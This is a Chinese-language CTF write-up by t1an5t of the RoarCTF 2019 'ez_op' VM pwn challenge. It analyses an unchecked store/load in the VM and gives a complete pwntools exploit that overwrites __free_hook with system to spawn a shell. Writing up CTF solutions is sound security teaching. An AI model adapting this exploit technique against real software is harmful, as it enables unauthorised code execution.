2019-ROAR-CTF-ez_op

  1. 分析
  2. 思路
  3. exp
  4. 参考

分析

32位虚拟机题目,文件是静态编译的且strip掉了符号表,存在一个后门函数写着echo shell

一般来说,虚拟机构造起来都是有规律的,无外乎就是:

  • 为数据,指令,栈等开辟空间
  • 读入数据和指令
  • 逐条运行指令,处理数据
  • 释放所有空间

虽然我IDA解析得有点问题,不过还是可以看出这个虚拟机的运行机制:

  1. 为数据和指令开辟空间
  2. 输入指令的opcode
  3. 处理opcde(以\n\r\t三类为分割字符分割,对分割后的结果进行atoi然后压入空间)
  4. 输入数据
  5. 处理数据(同上)
  6. 开辟栈空间并运行虚拟机
  7. 运行结束,销毁栈空间
  8. 销毁数据和指令空间,结束

其空间的数据结构为:

struct Area {
    char* ptr;  // 指向一块空间,里面存着需要存储的数据
    int size;   // 记录着空间的大小
    int point;  // 指向空间的一个指针
}

只实现了几个指令,加减乘除,storeload,还有两个栈和数据空间相互传递数据的指令,视为pushpop也可以,不过我的分析中把更基本的指令当成了pushpop来进行分析了,所以我就不这么称呼他们了。

思路

就算没打开题,我都知道,问题肯定出现在storeload

IDA解析有点问题,所以没法看F5,不过还是能知道最后调用了free销毁空间,所以这里的思路其实很简单,想办法把free_hook的值改成systemplt地址,然后push进去sh字符串,销毁的时候就会执行system("sh")getshell,这些地址都是固定的:

  • free_hook ==> 0x80E09F0
  • backdoor ==> 0x804A3CA

这里很明显storeload的时候都没有做边界检测,所以可以随意地上溢或者下溢。

store:

1581069381255

load:

1581069403754

想要写free_hook,就要先找到free_hook距离我们定义的stack的相对偏移,而我们定义的stack是在堆上的,aslr保护下,地址不固定,所以在其周围找一些有用的值。

我在销毁stack之前,下个断点来定位到stack的内存,找到了:

1581069819449

这里的0x80e3a80就是表示stack的结构体,0x80e3970就是stack数据存放的地方,他们的相对偏移始终固定,所以可以通过越界的load0x80e3970这个数存进来。(这里的偏移要根根据当前对应的位置以及point值进行相应的调整)

然后压进去以后计算和free_hook的偏移,之后就可以构造一个指向free_hook的越界store去写入了。

上面这个搜索一个关键值得思想才是真正重要的地方,接下来的工作其实就只有微调代码而已了。

exp

from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

p = process("./pwn")

sl = lambda x : p.sendline(x)

def debug(cmd=""):
    gdb.attach(p, cmd)

OPCODE = {
    "add"   : 0,
    "sub"   : 0x11111,
    "div"   : 0x514,
    "mul"   : 0xABCEF,
    "push"  : 0x2A3D,
    "pop"   : 0xFFFF28,
    "store" : 0x10101010,
    "load"  : -1,
}

def generate_code(code):
    res = ""
    for i in code:
        res += str(OPCODE[i]) + "\r"
    return res

def generate_data(data):
    res = ""
    for i in data:
        res += str(i) + "\r"
    return res

free_hook = 0x80E09F0
system = 0x8051C60

code = ["push", "push", "push", "load", "push", "sub", "div", "store", "push"]
data = [system, 4, 0x44-1, free_hook+4, 0x6873]

code = generate_code(code)
data = generate_data(data)

cmd = "b *%d\n" %(0x804A133)
#debug(cmd)

sl(code)
sl(data)

p.interactive()

参考

https://github.com/zh-Processor/Ez_op/面向源码pwn

http://q1iq.top/vm-Pwn(1)/


connect 1037178204@qq.com

文章标题:2019-ROAR-CTF-ez_op

本文作者:t1an5t

发布时间:2020-02-07, 11:02:00

最后更新:2020-02-29, 21:56:46

原始链接:http://yoursite.com/2019-ROAR-CTF-ez_op/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录